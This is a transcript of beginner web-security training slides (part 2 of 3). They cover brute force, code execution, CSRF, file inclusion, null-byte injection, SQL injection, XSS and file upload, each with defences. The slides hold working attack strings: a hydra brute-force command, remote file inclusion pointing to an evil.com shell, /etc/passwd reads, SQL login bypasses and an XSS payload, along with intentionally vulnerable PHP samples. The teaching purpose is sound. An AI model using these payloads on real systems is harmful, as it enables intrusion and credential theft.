websecurity-2/3

91
Web Application Security for Beginners - Part 2 Adzmely Mansor [email protected]

Upload: adzmely-mansor

Post on 14-Dec-2015

15 views

Category:

Documents


0 download

DESCRIPTION

my old training slides - basic web application security - 2/3

TRANSCRIPT

Page 1: WebSecurity-2/3

Web Application Security

for Beginners - Part 2Adzmely Mansor

[email protected]

Page 2: WebSecurity-2/3

Objective(s)

aid to better understand common exploitable vulnerabilities, how it been exploit, and reversely (re)develop a defensive mechanism securing web application deployed through best practice

Page 3: WebSecurity-2/3

Information Leakage & Improper Error Handling

Page 4: WebSecurity-2/3

Information LeakageApplication can unintentionally leak:

information about their configuration or internal workings

internal state via how long they take to process certain operations or via different responses to different inputs

information about their internal state through detailed or debug error messages

Page 5: WebSecurity-2/3

Information LeakageThis information can be leveraged to launch or even automate more powerful attacks

Possible information harvest:

Server (OS, version, ...)

Programming language (Language, version, ...)

Database (Oracle, MySQL, ...) - (Version, Schema, ...)

Debug/Error/Stacktraces - SQL Statement...

Page 6: WebSecurity-2/3

Information LeakageExercise: open http://demo.testfire.net

try to find as many as information possible

Page 7: WebSecurity-2/3

Information Leakage

Page 8: WebSecurity-2/3

Brute Force Attack

Page 9: WebSecurity-2/3

Brute Force Attacks

attempt to discover a password systematically

trying every possible combinations

until correct combination found

takes time - depend on password combination and complexity

Page 10: WebSecurity-2/3

Brute Force Attacks

brute force automation?

THC-Hydra

ultra fast network logon cracker

free - http://www.thc.org/thc-hydra/

Page 11: WebSecurity-2/3

Brute Force Attacks

brute force automation?

THC-Hydra supporting “cracks” for :AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

Page 12: WebSecurity-2/3

Blocking Brute Force Attack

Locking Accounts

after several number of failed attempts

last at specific duration

admin intervention to un-lock

not the best option - possibility of mass DOS

Page 13: WebSecurity-2/3

Blocking Brute Force Attack

do not use PREDICTABLE behavior

random fail/error messages

CAPTCHA after several failed attempt

second level password / secret question / OTP-SMS

combination of techniques

Page 14: WebSecurity-2/3

Blocking Brute Force Attack

The Best Solution :

Enforce Complex Password

Pass Phrase instead of Pass ‘word’

Page 15: WebSecurity-2/3

Brute Force Attackscommon password list?

http://contest-2010.korelogic.com/wordlist.html

http://dazzlepod.com/site_media/txt/passwords.txt

etc

Page 16: WebSecurity-2/3

Brute Force Attacksssh brute force:

Page 17: WebSecurity-2/3

Brute Force Attackshttp POST form brute force:

Page 18: WebSecurity-2/3

Brute Force AttacksExercise: http-post brute force attack

open: http://demo.testfire.net/

go to login page

view the html source

craft your “hydra” brute force attack

hydra -V -l admin -P passwd.dic example.com http-post-form "/login.php:login=^USER^&pass=^PASS^&Submit=Login:Login Failed"

Page 19: WebSecurity-2/3

Code Execution

Page 20: WebSecurity-2/3

Code Execution

ability to execute command(s)/code on a target machine or in a target process

inject and execute shell code / scripting code

ability to fully take control of the target machine

Page 21: WebSecurity-2/3

PHP/Code Injectionthis is silly, hopefully nobody doing it:

Page 22: WebSecurity-2/3

Shell/Code Injectionthis is silly, hopefully nobody doing it:

Page 23: WebSecurity-2/3

Code Injection Prevention

Never trust user input(s)

sanitize

htmlentities / htmlspecialchars

strip_tags

etc

Page 24: WebSecurity-2/3

Code Injection PreventionAvoid using system/exec/shell_exec if possible

have to, make sure you sanitize and validate user input:

Page 25: WebSecurity-2/3

Code Execution: Exercise

open: http://188.241.117.154/__dv__/

go to “Command Execution” menu

display /etc/passwd file

Page 26: WebSecurity-2/3

Cross Site Request Forgery - CSRF

Page 27: WebSecurity-2/3

Cross Site Request Forgeryalso known as “one click attack” or “session riding”

works by forces/tricks an end user to execute unwanted actions on a web application in which he/she is currently authenticated

by sending through social engineering such as sending link via email/chat/etc

can compromised end user data/operation and even the entire web application

Page 28: WebSecurity-2/3

Cross Site Request Forgeryever see a link like this:

Page 29: WebSecurity-2/3

Cross Site Request Forgeryand the actual facts “id” are in sequence:

Page 30: WebSecurity-2/3

Cross Site Request Forgery

session validation user validation

0 0

0 1

1 0

1 1

Page 31: WebSecurity-2/3

Cross Site Request ForgeryCase 1: in some if not most cases, there is NO:

session checking for authenticated user

no validation of authorized user

authorized to delete your own “POST”, but

knowing the “id” sequence number anybody can delete random “POST” of a random “user”

NOT CSRF

Page 32: WebSecurity-2/3

Cross Site Request ForgeryCase 2: do things the right way, but no CSRF protection

session checking for authenticated user

validate as authorized user

Page 33: WebSecurity-2/3

Cross Site Request ForgeryCase 2: do things the right way, but no CSRF protection

Bro check this out, Rainbow ABC

Page 34: WebSecurity-2/3

Cross Site Request ForgeryPOST method will not save you ... !!!

Click for More

Page 35: WebSecurity-2/3

Cross Site Request ForgeryPOST method will not save you ... !!!

Page 36: WebSecurity-2/3

Cross Site Request ForgeryPOST method will not save you ... !!!

Page 37: WebSecurity-2/3

Cross Site Request ForgeryFamous CSRF attacks....

INGDirect.comable to transfer funds out of user bank account...

YouTube.comadded video to a user’s “Favourites”, flagged videos as in appropriate, etc....

SOURCE: https://freedom-to-tinker.com/blog/wzeller/popular-websites-vulnerable-cross-site-request-forgery-attacks/

etc

Page 38: WebSecurity-2/3

Cross Site Request Forgery

CSRF Preventions - user level

can mitigate CSRF risks by:

logging out

don’t “Remember Me”

Page 39: WebSecurity-2/3

Cross Site Request Forgery

CSRF Preventions - web sites countermeasures

CSRF token in all forms

limiting lifetime of sessions cookies

Page 40: WebSecurity-2/3

Cross Site Request ForgeryCSRF token - using (PHP) noCSRF class

// Tokens are stored in session so you // have to initialize session datasession_start();// Then include the NoCSRF classrequire_once('nocsrf.php');

// Generate CSRF token to use in form hidden field$token = NoCSRF::generate( 'csrf_token' );

<form name="csrf_form" action="#" method="post">    <input type="hidden" name="csrf_token" value="<?php echo $token; ?>">    ...Other form inputs...    <input type="submit" value="Send form"></form>

SOURCE: https://github.com/BKcore/NoCSRF

Page 41: WebSecurity-2/3

Cross Site Request ForgeryCSRF token - using (PHP) noCSRF class

try{    // Run CSRF check, on POST data, in exception mode, // with a validity of 10 minutes, in one-time mode.    NoCSRF::check( 'csrf_token', $_POST, true, 60*10, false );    // form parsing, DB inserts, etc.}catch ( Exception $e ){    // CSRF attack detected // discard request}

Page 42: WebSecurity-2/3

File Inclusion Exploit

Page 43: WebSecurity-2/3

File Inclusion Exploit

Local/Remote File Inclusion

it allows attacker to include local/remote file

possible because of user-supplied input without proper validation

Page 44: WebSecurity-2/3

File Inclusion ExploitLocal/Remote File Inclusion can lead to

code execution on the web server

code execution on the client side through javascript and can lead to another attacks such as XSS - Cross Site Scripting

Denial of Service (DoS)

Data Theft/Manipulation

Page 45: WebSecurity-2/3

File Inclusion ExploitLFI/RFI Examples:

// This is obviously bad.. !//<?php if (isset( $_GET['page'] )){ include( $_GET['page'] ); }?>

<form method="get"> <select name="page"> <option value="news.php">Latest News</option> <option value="research.php">Research</option> </select> <input type="submit"></form>

Page 46: WebSecurity-2/3

File Inclusion ExploitLFI/RFI Examples:

Remote File Inclusion (RFI):

/vulnCode.php?page=http://evil.com/shell.php

Local File Inclusion (LFI):

/vulnCode.php?page=/etc/passwd

Page 47: WebSecurity-2/3

File Inclusion ExploitLFI/RFI Examples:

// How about appending with “.php” //<?php if (isset( $_GET['page'] )){ include( $_GET['page'] . ”.php” ); }?>

<form method="get"> <select name="page"> <option value="news">Latest News</option> <option value="research">Research</option> </select> <input type="submit"></form>

Page 48: WebSecurity-2/3

File Inclusion ExploitLFI/RFI Examples:

Remote File Inclusion (RFI):

/vulnCode.php?page=http://evil.com/shell.php?

Local File Inclusion (LFI):

/vulnCode.php?page=/tmp/phpcode

/vulnCode.php?page=/etc/passwd%00Null-B

yte Character

“?” cause “.php” considered as URI

Page 49: WebSecurity-2/3

File Inclusion Exploit

Exercise:

open: http://188.241.117.154/__dv__/

Page 50: WebSecurity-2/3

Null Byte Injection%00

Page 51: WebSecurity-2/3

Null-Byte InjectionURL/WEB presentation as - %00

termination character / terminator

alter the intended logic of the application// How about appending with “.php” //<?php if (isset( $_GET['page'] )){ include( $_GET['page'] . ”.php” ); }?>

// http://www.example.com/vulnCode.php?page=/etc/passwd%00.php

Page 52: WebSecurity-2/3

Solution for Null-Byte/LFI/RFIinput VALIDATION eg: by using whitelist array

Page 53: WebSecurity-2/3

Null-Byte Injection

Exercise: Open: http://demo.testfire.net

file boot.ini located in root directory, by using null byte injection try to find a way to load the file

Page 54: WebSecurity-2/3

SQL Injection

Page 55: WebSecurity-2/3

SQL Injection

means - tricking an application into including unintended SQL commands in the data sent to a backend interpreter

backend interpreter take strings and interpret them as commands

Page 56: WebSecurity-2/3

SQL Injectionoccurs when user input is not filtered for escape characters

manipulation of SQL statements

no sanitization of user input

no type casting

not using proper method in query

placeholder

Page 57: WebSecurity-2/3

SQL InjectionTypical Impact

spy out or manipulate data

manipulate the DB server or access underlying OS

bypass authentication or gain admin privileges

Correlation with information leakage

attackers use error messages or codes to verify the success of an attack and gather informations

Page 58: WebSecurity-2/3

SQL Injection

http://example.com/news.php?newsID=’ OR ‘1’=’1’ --%20

SELECT * FROM users WHERE name = '' OR '1'='1' -- '

http://example.com/news.php?newsID=’ OR 1=1 --%20

SELECT * FROM users WHERE name = '' OR 1=1 -- '

Page 59: WebSecurity-2/3

SQL InjectionBypass Authentication

admin’ --

admin’ #

admin’ /*

‘ or 1=1 --

‘ or 1=1 #

‘ or 1=1 /*

Page 60: WebSecurity-2/3

by using placeholder method in SQL statement

SQL Injection

Page 61: WebSecurity-2/3

SQL Injection: Exercise

Open: http://demo.testfire.net

Task 1: Attempt to login without proper user credentials

Task 2: Read all user account names and password from database

given the table name is “users” and the fields are: userid, username & password

Page 62: WebSecurity-2/3

XSSCross Site Scripting

Page 63: WebSecurity-2/3

Cross Site Scriptingtypical vulnerability found in web application

enable to inject client-side script in web pages viewed

mainly because of not safely sanitizing/validating user input

two main types

non persistent XSS / reflected

persistent XSS / stored

Page 64: WebSecurity-2/3

non persistent XSS example:

Cross Site Scripting

// successfully attack by simple embed XSS attack in URI// index.php?name=guest<script>alert('attacked')</script>

Page 65: WebSecurity-2/3

Cross Site ScriptingXSS Preventions:

Data validation

<?php

// validate a US phone numberif (preg_match('/^((1-)?\d{3}-)\d{3}-\d{4}$/', $phone)) {

echo $phone . " is valid format.";

}

Page 66: WebSecurity-2/3

Cross Site ScriptingXSS Preventions:

Data sanitzation

<?php

// sanitize HTML from the comment3$comment = strip_tags($_POST["comment"]);

?>

Page 67: WebSecurity-2/3

Cross Site ScriptingXSS Preventions:

Output Escaping

<?php

// escape output sent to the browserecho "You searched for: " . htmlspecialchars($_GET["query"]);

?>

Page 68: WebSecurity-2/3

Cross Site ScriptingXSS Preventions:

URL-Encode URL Query String Parameters

<?php

// URL Encode query string parametersecho "<a href=’http://example.com/?name=”.urlencode($name).”’>”;

?>

Page 69: WebSecurity-2/3

Cross Site Scripting: Exercise

Open: http://demo.testfire.net

Task 1: Find XSS from the page

Task 2: display value of amSessionId from page/site cookie

Page 70: WebSecurity-2/3

File Upload

Page 71: WebSecurity-2/3

File Uploadallowing a user to upload a file in a website:

potentially opening a “door” for attacks/exploits

without validations and protections:

user can upload a server side script / shell code

possibility totally pawned the server easily

Page 72: WebSecurity-2/3

File UploadFile Upload to Document root without validation

malicious user can access directly uploaded file through URL

putting the server totally vulnerable and open to possibility of total compromised

Page 73: WebSecurity-2/3

File UploadSample exploitable file upload

// upload to document root / no validation / accessible via URL//<?php$target_path = "uploads/";$target_path = $target_path . basename($_FILES['uploadedfile']['name']);if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";

} else {echo "There was an error uploading the file, please try again!";

}?>

Page 74: WebSecurity-2/3

File Upload - PreventionsMime Type Validation ?

a common mistake

eg: PHP $_FILES[‘uploadfile’][‘type’]

provided by the browser the user using

easily fake - by using automation tools / scripts /etc

Page 75: WebSecurity-2/3

File Upload - PreventionsBlock dangerous extensions / allow images extension only?

denied file upload other than image file extensions - jpg/png/gif/etc

quite a big list of extensions

possibility overridden by .htaccess file

AddType application/x-httpd-php .jpg

Page 76: WebSecurity-2/3

File Upload - PreventionsBlock dangerous extensions - NO “.php” extension?

file with additional/double extensions

evilCode.php.fr - language extension file

executed as PHP by apache

Page 77: WebSecurity-2/3

File Upload - PreventionsBlock dangerous extensions - NO “.php” extension?

file with additional/double extensions

if you are using AddHandler directive in apache:

evilCode.php.jpg - will be executed as PHP script

AddHandler php5-script .php

Page 78: WebSecurity-2/3

File Upload - PreventionsClient-Side validation?

client side validation such as javascript can be edited/disabled online on the fly using browser tools:

such as javascript console

by using chrome inspect element, you can directly edit any part related on the fly

attacker can develop custom script to upload file

Page 79: WebSecurity-2/3

File Upload - Solutionby using .htaccess in your upload folder

set:

set the ownership to root/superuser and only readable by others (apache/nobody) - 022 mask

php_flag engine off

Page 80: WebSecurity-2/3

File Upload - Solutionby using Directory directive in your httpd configuration

set:

<Directory /var/www/html/uploads> php_flag engine off</directory>

Page 81: WebSecurity-2/3

Resources Location Prediction

when everything else fails...

Page 82: WebSecurity-2/3

Resources Predictionscan web server using predicted list of common files/folders/CGIs

outdated vulnerable server software

directories listing / traversal

etc

Page 83: WebSecurity-2/3

Resources Predictionnikto - perl web scanner script

Page 84: WebSecurity-2/3

Social Engineering Attack

Page 85: WebSecurity-2/3

https://www.facebook.com/notes/facebook-security/national-cybersecurity-awareness-month-updates/10150335022240766

TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)

Page 86: WebSecurity-2/3

https://www.facebook.com/notes/facebook-security/national-cybersecurity-awareness-month-updates/10150335022240766

TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)

Page 87: WebSecurity-2/3

choose a target - simply by knowing their email / username / phone num / fullname - (Forgot your password)

TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)

Page 88: WebSecurity-2/3

Reset Password: two choices - email & sms

TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)

Page 89: WebSecurity-2/3

but!!! - “No longer have access to these?”

TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)

Page 90: WebSecurity-2/3

“I Cannot Access My Email”

TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)

Page 91: WebSecurity-2/3

“sometime” you will be prompted with this:

TFA: FB Trusted Friend AttackAshar Javad (HITBKUL - 2013)